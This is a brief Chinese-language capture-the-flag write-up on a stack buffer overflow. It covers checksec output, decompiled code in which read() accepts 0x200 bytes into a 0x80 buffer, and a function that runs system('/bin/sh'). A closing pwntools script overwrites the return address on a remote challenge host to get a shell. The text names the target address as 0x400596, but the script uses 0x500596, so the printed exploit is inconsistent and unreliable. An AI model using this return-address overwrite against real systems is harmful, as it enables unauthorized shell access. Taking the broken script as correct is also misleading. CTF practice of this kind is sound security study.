checksec查看一下信息,发现其开启了NX保护。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
使用IDA打开,main中只有这几行代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL, "Hello, World\n");
}
双击vulnerable_function()
函数,看到如下代码:
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
这里的rbp是栈基地址寄存器,保存的是当前的栈底地址为0x80,但是可输入的大小为0x200。
双击&buf
看到返回地址:
返回地址可以覆盖成callsystem()
,地址为0x400596,可命令执行:
int callsystem()
{
return system("/bin/sh");
}
最终脚本如下:
from pwn import *
p = remote('111.200.241.244',63770)
payload = 'a'*0x80+'a'*0x8+p64(0x500596)
p.sendline(payload)
p.interactive()